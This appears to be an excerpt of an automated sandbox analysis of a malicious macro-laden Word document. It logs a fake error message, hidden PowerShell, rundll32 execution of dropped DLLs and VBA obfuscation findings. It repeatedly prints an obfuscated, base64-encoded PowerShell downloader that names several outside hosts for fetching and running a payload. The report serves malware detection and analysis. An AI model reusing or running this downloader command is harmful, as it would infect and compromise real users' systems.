nAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQA
Source: unknown Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAK
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Czsbnlmzhou\heljhxhmap.nib',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tshsltpdkbydgac\umncisajimhcut.zje',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Nrnhwjwgkqopncg\hahzpwlqhuedal.zvs',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wcuhm\nost.bdw',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omzikkfxzmn\texvcnoeud.iob',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Afhsry\advki.tth',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tjgkecgvqxx\dxuouhyssc.uio',Control_RunDLL
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAK Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Czsbnlmzhou\heljhxhmap.nib',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tshsltpdkbydgac\umncisajimhcut.zje',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Nrnhwjwgkqopncg\hahzpwlqhuedal.zvs',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wcuhm\nost.bdw',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omzikkfxzmn\texvcnoeud.iob',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Afhsry\advki.tth',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tjgkecgvqxx\dxuouhyssc.uio',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: C:\Windows\symbols\dll\System.pdbom source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: ws\System.pdbpdbtem.pdb\a source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: E:\WindowsSDK7-Samples-master\WindowsSDK7-Samples-master\winui\shell\appshellintegration\RecipePropertyHandler\Win32\Release\RecipePropertyHandler.pdb source: rundll32.exe, 00000007.00000002.2112141030.000000001000D000.00000002.00020000.sdmp
Source: Binary string: System.pdb* source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.pdbon.dll source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: System.pdb source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: System.pdb8 source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2105619748.0000000002320000.00000002.00000001.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: <ystem.pdb source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.pdb5\ source: powershell.exe, 00000005.00000002.2106645654.0000000002BA7000.00000004.00000040.sdmp
Source: pack-91089 416755919.doc Initial sample: OLE summary subject = Missouri success Senior Refined Cambridgeshire Refined Rubber Keyboard wireless Markets Concrete hacking

Data Obfuscation:

barindex
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Source: pack-91089 416755919.doc Stream path 'Macros/VBA/Owppnp8hah4xo788' : High number of GOTO operations
Source: VBA code instrumentation OLE, VBA macro, High number of GOTO operations: Module Owppnp8hah4xo788 Name: Owppnp8hah4xo788
Obfuscated command line found
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQA
PowerShell case anomaly found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYA